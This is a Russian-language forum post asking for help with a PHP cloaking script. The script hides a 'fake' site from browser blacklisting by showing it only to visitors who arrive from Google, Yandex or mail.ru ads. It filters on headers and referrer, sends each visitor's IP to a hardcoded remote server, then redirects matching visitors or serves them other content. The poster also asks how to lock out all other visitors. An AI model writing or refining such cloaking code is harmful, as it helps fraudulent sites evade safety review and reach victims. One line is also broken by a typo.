Помогите пожалуйста разобраться со скриптом. Данный скрип делает редикет на домен при переходе с рекламы! Хочу им защитить сайт от покраснения! Тоесть пока что не будет клика по рекламе фейк не откроется даже ботам!И как можно закрыть посещения на сайт всем пользователям кроме тех кто перешли по рекламе!
PHP:
<?php
function cl() {
$s = $_SERVER;
if( !preg_match("/text\/html/", $s['HTTP_ACCEPT']) ) {
//echo "1";
return false;
}
if( !preg_match("/^(ru|ru-RU)/", $ ['HTTP_ACCEPT_LANGUAGE']) ) {
//echo $s['HTTP_ACCEPT_LANGUAGE'];
//return false;
}
if( $s['HTTP_CF_IPCOUNTRY'] != 'RU' ) {
//echo "3";
//return false;
}
if( !preg_match("/https\:\/\/www\.google\.(com|ru)\//", $s['HTTP_REFERER']) ) {
//echo "4";
//return false;
}
if( (!isset($s['HTTP_REFERER']) OR $s['HTTP_REFERER'] == "") AND isset($_GET['yclid']) AND $_GET['yclid']!=""){
//return true;
}
if( !preg_match("/((http(s|)\:\/\/www\.google\.(ru|com|it|fr|gr))|(http(s|)\:\/\/(yabs|bs)\.yandex\.(ru|com)\/)|(http(s|)\:\/\/go\.mail\.ru\/))/", $s['HTTP_REFERER']) ) {
//echo "4";
return false;
}
return true;
}
if (!function_exists('_is_curl_install()'))
{
function _is_curl_install()
{
if (in_array('curl', get_loaded_extensions()))
{
return true;
}
else
{
return false;
}
}
}
if (_is_curl_install())
{
}
else
{
echo 'Install CURL on server';
die;
}
@$_SERVER['HTTP_ACCEPT_LANGUAGE'] = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
if (!function_exists('getRealIpAddrAF'))
{
function getRealIpAddrAF()
{
if ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) <> '127.0.0.1'))
{
$ip = $_SERVER['GEOIP_ADDR'];
}
elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR']) <> '127.0.0.1') && (($_SERVER['HTTP_X_FORWARDED_FOR']) <> ($_SERVER['SERVER_ADDR'])))
{
$ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']) [0]; }
elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP']) <> '127.0.0.1') && (($_SERVER['HTTP_CLIENT_IP']) <> ($_SERVER['SERVER_ADDR'])))
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP']) <> '127.0.0.1') && (($_SERVER['HTTP_CF_CONNECTING_IP']) <> ($_SERVER['SERVER_ADDR']))
{ $ip= $_SERVER['HTTP_CF_CONNECTING_IP']; }
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
}
$ip = getRealIpAddrAF();
if ( cl() )
{ echo "<div id='Ba'></div>";
$ch = curl_init("http://188.209.52.48:33914/ip.php?p=jtX8ehWNxudV2psmRjYBqSr&ip=".$ip);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
$urlnew="https://www.siti.com/"; // URLкуда делать редирект
echo "<html><head><meta http-equiv='refresh' content='0; url=".$urlnew."'></meta></head><script>top.window.location = '".$urlnew."';</script></html>";
die();
}
else
{
$ch = curl_init("http://188.209.52.48:33914/ip.php?p=jtX8ehWNxudV2psmRjYBqSr&ip=".$ip);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
echo curl_exec($ch);
print_r(curl_error($ch));
curl_close($ch);
echo "<div id='Fa'>$ip</div>";
}
?>
Последнее редактирование модератором: